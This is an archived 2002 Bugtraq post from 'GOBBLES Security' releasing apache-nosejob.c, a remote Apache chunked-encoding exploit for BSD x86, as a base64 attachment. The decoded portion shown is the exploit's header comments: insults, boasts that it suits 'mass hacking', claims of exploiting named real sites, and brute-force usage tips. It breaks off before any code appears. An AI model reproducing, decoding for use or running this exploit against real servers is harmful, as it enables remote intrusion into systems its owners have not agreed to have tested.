[25918] in bugtraq

home help back first fref pref prev next nref lref last post

Ending a few arguments with one simple attachment.

daemon@ATHENA.MIT.EDU (gobbles@hushmail.com)
Sat Jun 22 02:29:17 2002

Message-Id: <200206220444.g5M4ihD89851@mailserver1.hushmail.com>
From: gobbles@hushmail.com
To: bugtraq@securityfocus.com
Cc: da@securityfocus.com, aleph1@securityfocus.com, ah@securityfocus.com
Date: Fri, 21 Jun 2002 21:44:43 -0700
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="Hush_boundary-3d1400bb1ebd0"

--Hush_boundary-3d1400bb1ebd0
Content-type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

There seems to be some confusion about whether or not this bug can be exploited on any other operating systems than OpenBSD.  Here's a second version of our private exploit, apache-massacre.c, called apache-nosejob.c.  Used correctly, it will successfully exploit any vulnerable Free/Net/OpenBSD (x86) machine.

Over the weekend and during next week we'll release a few more pieces of tasty candy, including GeneralCuster.exe, and quite possibly apache-massacre.c.

The mailing lists may now return to their normal level of mediocrity until we're ready to publicize some more warez.

- -GOBBLES Security

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com

wlwEARECABwFAj0UAMIVHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAPix0A
n3+UQy72ENv6KSwlcDNM12YrLQmdAJ9PTEjb5N4gyGm/hkgdMXjcHTF8pA==
=X2Lc
-----END PGP SIGNATURE-----

--Hush_boundary-3d1400bb1ebd0
Content-type: application/octet-stream; name="apache-nosejob.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="apache-nosejob.c"

LyoKICogYXBhY2hlLW5vc2Vqb2IuYyAtIE5vdyB3aXRoIEZyZWVCU0QgJiBOZXRCU0QgdGFyZ2V0
cyA7PgogKgogKiAhISBUSElTIEVYUExPSVQgSVMgTk9XIFBSSVZBVEUgT04gQlVHVFJBUSAhIQog
KgogKiBVU0UgQlJVVEUgRk9SQ0UgISAiQVVUT01BVEVEIFNDUklQVCBLSUREWSIgISBVU0UgQlJV
VEUgRk9SQ0UgIQogKgogKiBZRVohJCNAIFlPVSBDQU4gRVZFTiBERUZBQ0UgQlVHVFJBUS5PUkch
IAogKgogKiBZb3VyIGhpZ2ggcHJpY2VkIHNlY3VyaXR5IGNvbnN1bHRhbnQncyBwbGFuZSB0aWNr
ZXQ6ICQxNTAwCiAqIFlvdXIgaGlnaCBwcmljZWQgc2VjdXJpdHkgY29uc3VsdGFudCdzIHRpbWU6
ICQyMDAvaG91cgogKiBSZWFsU2VjdXJlIG5vZGVzIGFsbCBvdmVyIHlvdXIgY29tcGFueTogJDIw
MCwwMDAKICogR2V0dGluZyBvd25lZCBieSAwZGF5OiBQcmljZWxlc3MKICogIAogKiAqIEJFRyBG
T1IgRkFWT1IgKiBCRUcgRk9SIEZBVk9SICogQkVHIEZPUiBGQVZPUiAqIEJFRyBGT1IgRkFWT1Ig
KgogKiBJZiBzb21lYm9keSBjb3VsZCBkbyB1cyBhIGJpZyBmYXZvciBhbmQgY29udGFjdCBKZW5u
aWZlciBHYXJuZXIgYW5kIGFzawogKiBoZXIgdG8gbWFrZSBhIGpvdXJuZXkgdG8gVmVnYXMgdGhp
cyBzdW1tZXIgZm9yIERlZmNvbiwgdG8gaGFuZyBvdXQgd2l0aAogKiB0aGUgbWVtYmVycyBvZiBH
T0JCTEVTIFNlY3VyaXR5IHdobyBhcmUgYWxsIGh1Z2UgZmFucyBvZiBoZXJzLCB3ZSB3b3VsZAog
KiBiZSBldGVybmFsbHkgZ3JhdGVmdWwuICBXZSBhcmUgMTAwJSBzZXJpb3VzIGFib3V0IHRoaXMu
ICBXZSB3b3VsZCBsb3ZlIAogKiB0byBoYXZlIGEgY2hhbmNlIHRvIHNpdCBkb3duIGFuZCBoYXZl
IGEgbmljZSBjb252ZXJzYXRpb24gd2l0aCBoZXIgZHVyaW5nCiAqIHRoZSBjb25mZXJlbmNlIC0t
IHNvbWV0aGluZyBsaXR0bGUgdG8gbWFrZSBvdXIgbGl2ZXMgZmVlbCBtb3JlIGNvbXBsZXRlLgog
KgogKiBKdXN0IHNob3cgaGVyIHRoaXMgcGljdHVyZSwgYW5kIHNoZSdsbCB1bmRlcnN0YW5kIHRo
YXQgd2UncmUgbm90IHNvbWUKICogY3Jhenkgb2JzZXNzaXZlIGZhbmF0aWNhbCBsdW5hdGljcyB0
aGF0IHNoZSB3b3VsZCB3YW50IHRvIGF2b2lkLiA7LSkKICogCQlodHRwOi8vcGhyYWNrLm9yZy9z
dW1tZXJjb24yMDAyL0dPQkJMRVNfc2hvdy5qcGcKICogV2UgZXZlbiBwcm9taXNlIHRvIGtlZXAg
b3VyIGNsb3RoZXMgb24hCiAqCiAqIFRoeCB0byBhbGwgdGhvc2UgR09CQkxFUyBhbnRhZ29uaXpl
cnMuIFlvdXIgaW5zdWx0cyBmdWVsIG91ciBkZXNpcmUgdG8KICogd29yayBoYXJkZXIgdG8gZ2Fp
biBtb3JlIGZhbWUuCiAqCiAqIFRoaXMgZXhwbG9pdCBicm91Z2h0IHRvIHlvdSBieSBhIHRhZ3Rl
YW0gZWZmb3J0IGJldHdlZW4gR09CQkxFUyBTZWN1cml0eQogKiBhbmQgSVNTIFgtRm9yY2VzLiAg
SVNTIHN1cHBsaWVkIHRoZSBzaWxseSBtYXRoZW1hdGljYWwgY29tcHV0YXRpb25zIGFuZAogKiBv
dGhlciBhYnN0cmFjdCBmaWd1cmVzIGRlY2xhcmluZyB0aGUgZXhwbG9pdGF0aW9uIG9mIHRoaXMg
YnVnIHRvIGJlIAogKiBpbXBvc3NpYmxlLCB3aXRob3V0IGZhY3RvcmluZyBpbiB0aGUgY2hhbmNl
IHRoYXQgdGhlcmUgbWlnaHQgYmUgb3RoZXIKICogY29uZGl0aW9ucyBwcmVzZW50IHRoYXQgd291
bGQgYWxsb3cgZXhwbG9pdGF0aW9uLiAgQWZ0ZXIgdGhlIGZhaWx1cmUgb2YKICogSVNTJyBTYW50
YSBDbGF1cywgR09CQkxFUyBTZWN1cml0eSBkaWRuJ3Qgd2FudCB0byBkaXNhcHBvaW50IHRoZSBr
aWRzIGFuZAogKiB0aGUgc2VjdXJpdHkgY29uc3VsdGFudHMgYW5kIGhhdmUgYnJvdWdodCBmb3J0
aCBhIGJyYW5kIG5ldyBzaGlueSB0b3kgZm9yCiAqIGFsbCB0byBtYXJ2ZWwgYXQuCiAqCiAqIEdP
QkJMRVMgU2VjdXJpdHkgU2V4IEZvcmNlOiAgQSBsb3Qgb2YgY29tcGFuaWVzIGxpa2UgdG8gbGV0
IHlvdSBrbm93CiAqIHRoZWlyIGVtcGxveWVlcyBoYXZlIHRoZSBiaWdnZXN0IGRpY2tzLiAgV2Un
cmUgZmlybSBiZWxpZXZlcnMgaW4gdGhlIAogKiBpZGVhIHRoYXQgaXQncyBub3QgdGhlIHNpemUg
b2YgdGhlIHdhdmUsIGJ1dCByYXRoZXIgdGhlIG1vdGlvbiBvZiB0aGUKICogb2NlYW4gLS0gd2Ug
aGF2ZSBubyBjaG9pY2UgYW55d2F5LgogKiAKICogM0FQQVBBUEEgc2FpZCB0aGlzIGNhbid0IGJl
IGRvbmUgb24gRnJlZUJTRC4gSGUgcHJvYmFibHkgYWxzbyB0aGlua3MKICogcW1haWwgY2FuJ3Qg
YmUgZXhwbG9pdGVkIHJlbW90ZWx5LiBCdXp6eiEgVGhlcmUgd2UgZ28gc3BlYWtpbmcgdGhyb3Vn
aAogKiBvdXIgYXNzZXMgYWdhaW4uICBBbnl3YXlzIHdlJ3JlIGxvb2tpbmcgZm9yd2FyZCB0byBo
aXMgYXJndW1lbnRzIG9uIHdoeQogKiB0aGlzIGlzbid0IGV4cGxvaXRhYmxlIG9uIExpbnV4IGFu
ZCBTb2xhcmlzLiAgTGVhZCwgZm9sbG93LCBvciBnZXQgdGhlIAogKiBmdWNrIG91dCBvZiB0aGUg
d2F5LgogKgogKiBXZWlnaCB0aGUgY2hhbmNlcyBvZiB1cyBseWluZyBhYm91dCB0aGUgTGludXgg
dmVyc2lvbi4gSG1tLCB3ZWxsIHNvIGZhcgogKiB3ZSd2ZSB1c2VkIGEgInNhbWUgc2hpdCwgZGlm
ZmVyZW50IHNtZWxsIiBhcHByb2FjaCBvbiAqQlNELCBzbyB5b3UgY291bGQKICogYmUgZm9yZ2l2
ZW4gZm9yIHRoaW5raW5nIHdlIGhhdmUgbm8gTGludXggdmVyc2lvbi4gVGhlbiBicmluZyBpbiB0
aGUKICogcmV2ZXJzZSBwc3ljaG9sb2d5IGZhY3RvciBvZiB0aGlzIHBhcmFncmFwaCB0aGF0IGFs
c28gc2F5cyB3ZSBkb24ndCBoYXZlCiAqIG9uZS4gQnV0IHdlJ2Qgc2F5IGFsbCBvZiB0aGUgYWJv
dmUgdG8gbWFrZSB5b3UgYmVsaWV2ZSB1cy4gVGhpcyBzdGFydHMgdG8KICogZ2V0IHJlYWxseSBj
b21wbGljYXRlZC4KICoKICogLS0tIAogKiBHb2Qga25vd3MgSSdtIGhlbHBsZXNzIHRvIHNwZWFr
CiAqIE9uIG15IG93biBiZWhhbGYKICogR29kIGlzIGFzIGhlbHBsZXNzIGFzIG1lCiAqIENhdWdo
dCBpbiB0aGUgbmVnYXRpdmVzCiAqIFdlIGFsbCBqdXN0IGRvIGFzIHdlIHBsZWFzZQogKiBGYWxz
ZSB0cmFuc21pc3Npb25zCiAqIEkgaG9wZSBHb2QgZm9yZ2l2ZXMgbWUKICogRm9yIG15IHRyYW5z
Z3Jlc3Npb25zCiAqCiAqIEl0J3Mgd2hhdCB5b3Ugd2FudAogKiBUbyBrbm93IG5vIGNvbnNlcXVl
bmNlcwogKiBJdCdzIHdoYXQgeW91IG5lZWQKICogVG8gZnVja2luZyBibGVlZAogKiBJdCdzIGFs
bCB0b28gbXVjaAogKiAtLS0KICogCiAqIENoYW5nZXM6CiAqICsgY2FuIGRvIGhvc3RuYW1lIHJl
c29sdXRpb24KICogKyB1c2VzIGdldG9wdCgpIAogKiArIHdvcmtzIGFnYWluc3QgZnJlZWJzZCBh
bmQgbmV0YnNkIG5vdwogKiArIGFiaWxpdHkgdG8gZXhlY3V0ZSBjdXN0b20gY29tbWFuZHMgd2hl
biBzaGVsbGNvZGUgcmVwbGllcyAtLSBncmVhdCBmb3IKICogICBtYXNzIGhhY2tpbmcKICogKyBy
YW5kKCkgdmFsdWUgYml0c2hpZnRlZCBmb3IgbW9yZSByYW5kb21uZXNzIGluIG91ciBwcm9ncmVz
cyBiYXIgdG9uZ3VlcwogKiArIG1vcmUgdGFyZ2V0cyA7PiBCVVQgUkVNRU1CRVIgQlJVVEUgRk9S
Q0UgTU9ERSEhIQogKiArIFtSYUZhXSBjb21wbGFpbmVkIHRoYXQgdGhlIGZpcnN0IHZlcnNpb24g
ZGlkbid0IGxldCBoaW0gaGFjayB0aHJvdWdoCiAqICAgcHJveGllcy4gIE5ldyBzaGVsbGNvZGUg
aGFzIGJlZW4gYWRkZWQgZm9yIGFkZGl0aW9uYWwgZnVuLiAgSXQncyByZWFsCiAqICAgZnVua3ks
IG1vbmtleSwgZG8geW91IHRydXN0PyAgRGlkbid0IHRoaW5rIHNvLgogKgogKiBGdW4gdG8ga25v
dzoKICogKyBNb3N0IGFwYWNoZSBpbnN0YWxsYXRpb25zIGRvbid0IGV2ZW4gbG9nIHRoZSBhdHRh
Y2sKICogKyBHT0JCTEVTIFNlY3VyaXR5IGlzIG5vdCBwbGF5aW5nIGdhbWVzIGFueW1vcmUuCiAq
ICsgR09CQkxFUyBTZWN1cml0eSBoYXMgbW9yZSBhY3RpdmUgbWVtYmVycyB0aGFuIHcwMHcwMC4K
ICogKyB3MDB3MDAub3JnIGlzIHN0aWxsIHZ1bG5lcmFibGUgdG8gdGhpcyBleHBsb2l0LgogKiAr
IHcwMHcwMCBtaWdodCByZWxlYXNlIGFub3RoZXIgQUlNIGFkdmlzb3J5IHNvb24gYWJvdXQgaG93
IGV2aWwgdGhlCiAqICAgd2hvbGUgRE1DQSB0aGluZyBpcy4gICp5YXduKgogKiAKICogRnVuIHRv
IGRvOgogKiArIFNwb3QgdGhlICNvcGVuYnNkIG9wZXJhdG9yIHdobyBjYW4gZmlndXJlIG91dCBo
b3cgdG8gdXNlIHRoaXMhCiAqICsgSm9pbiAjc25vcnQgYW5kIGxhdWdoIGF0IHRoZWlyIGluYWRl
cXVhY2llcwogKiArIFF1ZXN0aW9uIHRoZSBlZmZlY3RpdmVuZXNzIG9mIFByb2plY3QgSG9uZXlu
ZXQsIHdoZW4gdGhleSBoYXZlIHlldAogKiAgIHRvIGRpc2NvdmVyIHRoZSBleHBsb2l0YXRpb24g
b2YgYSBzaW5nbGUgIjBkYXkiIHZ1bG5lcmFiaWxpdHkgaW4gdGhlCiAqICAgd2lsZC4gIEhVUlJZ
IFVQIEIwWVogNE5EIEg0Q0sgWTBVUiAwV04gSDBOM1lQMFRaIE4wVyBXMVRIIDRMTCBZMFVSCiAq
ICAgMERBWSBUMCBQUjBWMyBVUyBXUjBORyEhQCMgIER1bWIgdHdhdHMuCiAqCiAqIDgwJSBvZiAj
b3BlbmJzZCB3b24ndCBiZSBwYXRjaGluZyBBcGFjaGUgYmVjYXVzZToKICogKyAiSXQncyBub3Qg
aW4gdGhlIGRlZmF1bHQgaW5zdGFsbCIKICogKyAiSXQncyBvbmx5IHVpZCBub2JvZHkuIFNvIHdo
YXQ/IgogKiArICJPdXIgbWVtY3B5KCkgaW1wbGVtZW50YXRpb24gaXMgbm90IGJ1Z2d5IgogKiAr
ICJJIGNvdWxkbid0IGdldCB0aGUgZXhwbG9pdCB0byB3b3JrLCBzbyBpdCBtdXN0IG5vdCBhY3R1
YWxseSBiZQogKiAgICBleHBsb2l0YWJsZS4gIFN0dXBpZCBHT0JCTEVTIHdhc3RpbmcgbXkgdGlt
ZSB3aXRoIG5vbnNlbnNlIgogKiArIGpuYXRoYW4ncyBleHBlcnQgYWR2aWNlIHRvIGhpcyBwZWVy
cyBpcyB0aGF0ICJ0aGlzIGlzIG5vdCBtdWNoIG9mCiAqICAgYSBzZWN1cml0eSBpc3N1ZSIgLS0g
QHN0YWtlICsgdzAwdzAwICsgc25vcnQgYnJhaW4gcG93ZXIgaW4gYWN0aW9uIQogKgogKiBUZXN0
YmVkczogaG90bWFpbC5jb20sIDI2MDAuY29tLCB3MDB3MDAub3JnLCBlZm5ldC5vcmcsIGF0c3Rh
a2UuY29tLAogKgkgICAgIHlhaG9vLmNvbSwgcHJvamVjdC5ob25leW5ldC5vcmcsIHB1Yi5zZWFz
dHJvbS5jb20KICoKICogISEgTk9USUNFIFRPIENSSVRJQ1MgISEgTk9USUNFIFRPIENSSVRJQ1Mg
ISEgTk9USUNFIFRPIENSSVRJQ1MgISEKICogCiAqIElmIHlvdSdyZSB1c2luZyB0aGlzIGV4cGxv
aXQgYWdhaW5zdCBhIHZ1bG5lcmFibGUgbWFjaGluZSAodGhhdCB0aGUKICogZXhwbG9pdCBpcyBz
dXBwb3NlZCB0byB3b3JrIG9uLCBxdWl0IG1haWxpbmcgdXMgYXNraW5nIHdoeSBhcGFjaGUtc2Nh
bHAKICogZG9lc24ndCB3b3JrIGFnYWluc3QgTGludXggLS0gZHVtYmFzc2VzKSBhbmQgaXQgZG9l
cyBub3Qgc3VjY2VlZCwgeW91CiAqIHdpbGwgaGF2ZSB0byBwbGF5IHdpdGggdGhlIHJ8ZHx6IHZh
bHVlcyBhbmQgKiBCUlVURUZPUkNFICogQlJVVEVGT1JDRSAqIAogKiAqIEJSVVRFRk9SQ0UgKiBC
UlVURUZPUkNFICogQlJVVEVGT1JDRSAqIEJSVVRFRk9SQ0UgKiBCUlVURUZPUkNFICoKICogCiAq
IFdlIHdyb3RlIHRoaXMgZm9yIGV0aGljYWwgcHVycG9zZXMgb25seS4gIFRoZXJlIGlzIHN1Y2gg
YSB0aGluZyBhcyBhbgogKiAiZXRoaWNhbCBoYWNrZXIiIHJpZ2h0PwogKgogKiBUaGlzIHNob3Vs
ZCBtYWtlIHBlbmV0cmF0aW9uIHRlc3RpbmcgX3ZlcnlfIGVhc3kuICBHbyBvdXQgYW5kIG1ha2Ug
c29tZQogKiBtb25leSBvZmYgdGhpcywgYnkgZXhwbG9pdGluZyB0aGUgaWdub3JhbmNlIG9mIHNv
bWUgeWFob28gd2hvIHdpbGwgYmUKICogZWFzaWx5IC4vaW1wcmVzc2VkIHdpdGggeW91ciBhYmls
aXR5IHRvIHVzZSBnY2MuICBObywgd2Ugd29uJ3QgcHJvdmlkZQogKiB5b3Ugd2l0aCBwcmVjb21w
aWxlZCBiaW5hcmllcy4gIFdlbGwsIGF0IGxlYXN0IGZvciAqbml4LiA7LSkgCiAqCiAqICogSU1Q
T1JUQU5UIEFOTk9VQ0VNRU5UICogSU1QT1JUQU5UIEFOTk9VTkNFTUVOVCAqIElNUE9SVEFOVCBB
Tk5PVUNFTUVOVCAqCiAqIC0tLSBHT0JCTEVTIFNlY3VyaXR5IGlzIG5vIGxvbmdlciBhY2NlcHRp
bmcgbmV3IG1lbWJlcnMuICBXZSdyZSBub3cgYSAKICogICAgIGNsb3NlZCBncm91cC4gIE9mIGNv
dXJzZSwgd2UnbGwgc3RpbGwgc2hhcmUgb3VyIHdhcmV6IHdpdGggdGhlIAogKiAgICAgY29tbXVu
aXR5IGF0IGxhcmdlLCBidXQgZm9yIHRoZSB0aW1lIHdlIGhhdmUgZW5vdWdoIG1lbWJlcnMuICAK
ICoKICogICAgIEdyZWV0cyB0byBvdXIgdHdvIG5ld2VzdCBtZW1iZXJzOgogKgktW1JhRmFdLCBB
bWJhc3NhZG9yIHRvIHRoZSBVbmRlcndvcmxkCiAqCS1wcjBpeCwgRGlyZWN0b3Igb2YgU2xhbmRl
ciBhbmQgTWlzaW5mb3JtYXRpb24KICoKICogWyMhR09CQkxFU0BTRUNSRVRfU0VSVkVSIFFVT1RF
U10KICoKICogLS0tIGkgd29udCBiZSBzdXJwcmlzZWQgdGhhdCB3aGVuIEkgcmV0dXJuIHRvbW9y
cm93IG1vcm5pbmcgdGhlCiAqICAgICBpbnRlcm5ldCB3aWxsIGhhdmUgY29tZSB0byBhIGdyaW5k
aW5nIGhhbHQgd2l0aCBwZW9wbGUgY3J5aW5nIGZvcgogKiAgICAgbWVkaWNzCiAqIC0tLSB0aGUg
aW50ZXJuZXQgd2lsbCBiZSBvdmVyIGluIGEgY291cGxlIG9mIG1vbnRocyAKICogLS0tIG5vYm9k
eSBpbiAjb3BlbmJzZCBjYW4gZ2V0IGl0IHRvIHdvcmsuLi4gI25ldGJzZCBwZW9wbGUgc2VlbSB0
byBiZQogKiAgICAgbWFuYWdpbmcgZmluZS4uLiAgCiAqIC0tLSB0aGV5IGRvbnQgZ3Jhc3AgdGhl
IGNvbmNlcHQgb2YgdGhlIGJhc2UgYWRkcmVzcy4uLiBpIHNlcmlvdXNseQogKiAgICAgdGhvdWdo
dCB0aGlzIHdhcyB0aGUgbW9zdCBraWRkaWUgZnJpZW5kbHkgZXhwbG9pdCBldmVyIHJlbGVhc2Vk
CiAqIC0tLSBldmVuIGJiIGNvdWxkIGdldCBpdCB3b3JraW5nLiBsb29rIGF0IHZ1bG4tZGV2CiAq
IC0tLSB3ZSBoYXZlIHRvIHRyeSB0byBidW1wIHRoYXQgdGhyZWF0Y29uIHVwIGEgbm90Y2gKICog
LS0tIHdoYXQgdGhlIGFsbGRhcyB1cmwgbm93PyBob3cgbWFueSBkZWZhY2VtZW50cyBhcHBlYXJl
ZCB5ZXQ/CiAqIC0tLSB3ZSBzaG91bGQgZG8gYSBwb2VtIGVudGl0bGVkICJkZWZhdWx0IG9wZW5i
c2QiIGFuZCBtZW50aW9uIGhvdwogKiAgICAgaXQganVzdCBzaXRzIHRoZXJlLi4uIGluYW5pbWF0
ZS4uLiBzb29uIHRoZW8gd2lsbCBiZSBzdHJpcHBpbmcgdGhlCiAqICAgICBuZXR3b3JrIGNvZGUg
c28gbm90IGV2ZW4gZ29ia2x0ei5jIHdvcmtzLi4uIGFzIHRoZW8ncyBwYXJhbm9pYQogKiAgICAg
aW5jcmVhc2VzIGFuZCBoZSBiZWNvbWVzIG91dCBvZiBzeW5jIHdpdGggdGhlIHJlYWwgd29ybGQs
IHN0cmFuZ2UKICogICAgIHRoaW5ncyBzdGFydCB0byBoYXBwZW4gd2l0aCBvcGVuYnNkLi4uICBD
SEFOR0VMT0c6ICJub3cgYWxzbyBzYWZlCiAqICAgICBmcm9tIHRoZSB2b2ljZXMuIDYgeWVhcnMg
d2l0aG91dCB0aGUgc2NyZWFtaW5nIGluIHRoZSBkZWZhdWx0CiAqICAgICBpbnN0YWxsIgogKiAt
LS0gaSBjYW4gcG9ydCBpdCB0byB3aW5kb3dzLi4gaSBjYW4gbWFrZSBhIGd1aSB1c2luZyBtZmMu
LiB3aXRoCiAqICAgICBhIHBpY3R1cmUgb2YgdGhlIHNrdWxsICYgY3Jvc3Nib25lcyAKICogLS0t
IEhhcyBhbnlvbmUgZXZlciBiZWVuIGNhdWdodCBieSBhbiBJRFM/IEkgY2VydGFpbmx5IG5ldmVy
IGhhdmUuCiAqICAgICBUaGlzIG9uZSBydW5zIG9uIG1hbnkgbWFjaGluZXMuIEl0IHBvcnRzIHRv
IEhQLVVYLgogKiAtLS0gc3RyYW5nZSBob3cgbXIgc3BpdHpuZXIgZGlkbid0IGtub3cgaG9uZXlu
ZXQub3JnIHdhcyBvd25lZAogKiAtLS0gYW4gb2ZmaWNpYWwgb3BlbmJzZCBtaXJyb3IgaXMgc3Rp
bGwgdnVsbmVyYWJsZT8gIGRlYXIgZ29kIHRoZXkncmUKICogICAgIG91dCBvZiBpdCEKICogLS0t
IEkgdGhpbmsgd2UncmUgZmluYWxseSBmYW1vdXMuCiAqIC0tLSB3ZSdyZSBvbiB0aGUgZnJvbnQg
cGFnZSBvZiBzZWN1cml0eWZvY3VzLCBhbmQgd2UgZGlkbid0IGV2ZW4gaGF2ZSAKICogICAgIHRv
IGRlZmFjZSB0aGVtISAgdG9vIGJhZCB0aGUgYXJ0aWNsZSB3YXNuJ3QgdGl0bGVkLCAiSGkgQmx1
ZUJvYXIhIgogKiAtLS0gd2UgbmVlZCBHT0JCTEVTIGdyb3VwIHBob3RvcyBhdCBkZWZjb24gaG9s
ZGluZyB1cCBzaWducyB0aGF0IHNheQogKiAgICAgIlRoZSBCbHVlIEJvYXIgTXVzdCBEaWUiCiAq
IC0tLSBwcm9qZWN0LmhvbmV5bmV0Lm9yZyBpcyBfc3RpbGxfIHZ1bG5lcmFibGUgYSBkYXkgYWZ0
ZXIgdGhlIGV4cGxvaXQKICogICAgIHdhcyBtYWRlIHB1YmxpYz8gIGhhaGFoYSEKICogLS0tIGV4
cGxvaXQgc2Nhbm5lcj8gIHd3dy5nb29nbGUuY29tIC0tIHNlYXJjaCBmb3IgcG93ZXJlZGJ5Lmdp
ZiArIHlvdXIKICogICAgICpic2Qgb2YgY2hvaWNlIQogKiAtLS0gaSBzdG9wcGVkIHRha2luZyBt
eSBhbnRpcHN5Y2hvdGljcyBsYXN0IG5pZ2h0LiAgc2F5IG5vIDIgZHJ1Z3ohCiAqIC0tLSA8R09C
QkxFUz4gYW50aU5TQSAtLSBIQUNLSU5HIElTIE5PVCBGT1IgWU9VISEhISEhCiAqIC0tLSB3ZSB3
b25kZXIgaG93IG11Y2ggdGhleSdsbCBsaWtlIEdlbmVyYWxDdXN0ZXIuZXhlIAogKiAtLS0gd29u
ZGVyIGlmIElTUyB3aWxsIHVzZSBvdXIgY29kZSBpbiB0aGVpciAic2VjdXJpdHkgYXNzZXNtZW50
IiAKICogICAgIGF1ZGl0cywgb3IgaWYgdGhleSdsbCBmaWd1cmUgb3V0IGhvdyB0byBleHBsb2l0
IHRoaXMgaW5kZXBlbmRhbnRseS4KICogICAgIGVpdGhlciB3YXkgdGhleSdyZSBib3VuZCB0byBt
YWtlIGEgbG90IG9mIG1vbmV5IG9mZiB1cywgYmFzdGFyZHMuCiAqIC0tLSBmb3JnZXQgdzAwZ2l2
aW5nLCB0aGlzIHllYXIgaXR6IHRoYW5rc2dpdmluZy4KICogLS0tIHRoZSB0cmFmZmljIHRvIG5l
dGNyYWZ0LmNvbS93aGF0cyB3aWxsIGJlIHRocm91Z2ggdGhlIHJvb2YgZm9yIHRoZQogKiAgICAg
bmV4dCBmZXcgbW9udGhzIQogKiAtLS0gZXZlcnkgY29tcGFueSB3aXRoIGEgaHViIGhhcyBiZWVu
IHNvbGQgbXVsdGlwbGUgcmVhbHNlbnNvciB1bml0cwogKiAtLS0gZnVsbCBkaXNjbG9zdXJlIGlz
IGEgbmVjZXNzYXJ5IGV2aWwsIHNvIHF1aXQgeW91ciBnb2RkYW1uZWQgd2hpbmluZy4KICogLS0t
IHBlb3BsZSBqdXN0IGFzc3VtZSB0aGV5IGtub3cgd2hhdCB3ZSBtZWFuIGJ5ICJ0ZXN0YmVkIgog
KiAtLS0gaSBjYW4ndCBiZWxpZXZlIHRoYXQgcGVvcGxlIHN0aWxsIGRpc2JlbGlldmUgaW4gdGhl
IGV4aXN0YW5jZSBvZiAKICogICAgIGhhY2tlcnMuLi4gaSBtZWFuLCB3aGF0IGlzIGFsbCB0aGlz
IGJ1bGxzaGl0IGFib3V0IHBlb3BsZSBiZWluZyAKICogICAgIHNob2NrZWQgdGhhdCBoYWNrZXJz
IHdyaXRlIHByb2dyYW1zIHRvIGJyZWFrIGludG8gc3lzdGVtcyBzbyB0aGF0CiAqICAgICB0aGV5
IGNhbiB1c2UgdGhvc2UgcHJvZ3JhbXMgdG8gYnJlYWsgaW50byBzeXN0ZW1zPyAgYXJlIHRoZWly
IG1pbmRzCiAqICAgICB0aGF0IHNtYWxsPwogKiAtLS0gd2UncmUgZmFyIGZyb20gZG9uZS4gLiAu
CiAqCiAqLwoKLyoKICogYXBhY2hlLXNjYWxwLmMKICogT1BFTkJTRC9YODYgQVBBQ0hFIFJFTU9U
RSBFWFBMT0lUISEhISEhISAKICogCiAqIFJPQlVTVCwgUkVMSUFCTEUsIFVTRVItRlJJRU5ETFkg
TU9USEVSRlVDS0lORyAwREFZIFdBUkVaIQogKgogKiBCTElORyEgQkxJTkchIC0tLSBCUlVURSBG
T1JDRSBDQVBBQklMSVRJRVMgLS0tIEJMSU5HISBCTElORyEKICogCiAqICIuIC4gLiBhbmQgRG91
ZyBTbmlmZiBzYWlkIGl0IHdhcyBhIGhvbGUgaW4gRXBpYy4iCiAqCiAqIC0tLQogKiBEaXNhcm0g
eW91IHdpdGggYSBzbWlsZQogKiBBbmQgbGVhdmUgeW91IGxpa2UgdGhleSBsZWZ0IG1lIGhlcmUK
ICogVG8gd2l0aGVyIGluIGRlbmlhbAogKiBUaGUgYml0dGVybmVzcyBvZiBvbmUgd2hvJ3MgbGVm
dCBhbG9uZQogKiAtLS0KICoKICogUmVtb3RlIE9wZW5CU0QvQXBhY2hlIGV4cGxvaXQgZm9yIHRo
ZSAiY2h1bmtpbmciIHZ1bG5lcmFiaWxpdHkuIEt1ZG9zIHRvCiAqIHRoZSBPcGVuQlNEIGRldmVs
b3BlcnMgKFRoZW8sIER1Z1NvbmcsIGpuYXRoYW4sICpAIyF3MDB3MDAsIC4uLikgYW5kCiAqIHRo
ZWlyIGNyYXBweSBtZW1jcHkgaW1wbGVtZW50YXRpb24gdGhhdCBtYWtlcyB0aGlzIDMyLWJpdCBp
bXBvc3NpYmlsaXR5CiAqIHZlcnkgZWFzeSB0byBhY2NvbXBsaXNoLiBUaGlzIHZ1bG5lcmFiaWxp
dHkgd2FzIHJlY2VudGx5IHJlZGlzY292ZXJlZCBieSBhIHNsZXcKICogb2YgcmVzZWFyY2hlcnMu
CiAqCiAqIFRoZSAiZXhwZXJ0cyIgaGF2ZSBhbHJlYWR5IGNvbmN1cnJlZCB0aGF0IHRoaXMgYnVn
Li4uCiAqICAgICAgLSAgICAgICBDYW4gbm90IGJlIGV4cGxvaXRlZCBvbiAzMi1iaXQgKm5peCB2
YXJpYW50cwogKiAgICAgIC0gICAgICAgSXMgb25seSBleHBsb2l0YWJsZSBvbiB3aW4zMiBwbGF0
Zm9ybXMKICogICAgICAtICAgICAgIElzIG9ubHkgZXhwbG9pdGFibGUgb24gY2VydGFpbiA2NC1i
aXQgc3lzdGVtcwogKgogKiBIb3dldmVyLCBjb250cmFyeSB0byB3aGF0IElTUyB3b3VsZCBoYXZl
IHlvdSBiZWxpZXZlLCB3ZSBoYXZlCiAqIHN1Y2Nlc3NmdWxseSBleHBsb2l0ZWQgdGhpcyBob2xl
IG9uIHRoZSBmb2xsb3dpbmcgb3BlcmF0aW5nIHN5c3RlbXM6CiAqCiAqICAgICAgU3VuIFNvbGFy
aXMgNi04IChzcGFyYy94ODYpCiAqICAgICAgRnJlZUJTRCA0LjMtNC41ICh4ODYpCiAqICAgICAg
T3BlbkJTRCAyLjYtMy4xICh4ODYpCiAqICAgICAgTGludXggKEdOVSkgMi40ICh4ODYpCiAqCiAq
IERvbid0IGdldCBkaXNjb3VyYWdlZCB0b28gcXVpY2tseSBpbiB5b3VyIG93biByZXNlYXJjaC4g
SXQgdG9vayB1cyBjbG9zZQogKiB0byB0d28gbW9udGhzIHRvIGJlIGFibGUgdG8gZXhwbG9pdCBl
YWNoIG9mIHRoZSBhYm92ZSBvcGVyYXRpbmcgc3lzdGVtcy4KICogVGhlcmUgaXMgYSBwZWN1bGlh
cml0eSB0byBiZSBmb3VuZCBmb3IgZWFjaCBvcGVyYXRpbmcgc3lzdGVtIHRoYXQgbWFrZXMgdGhl
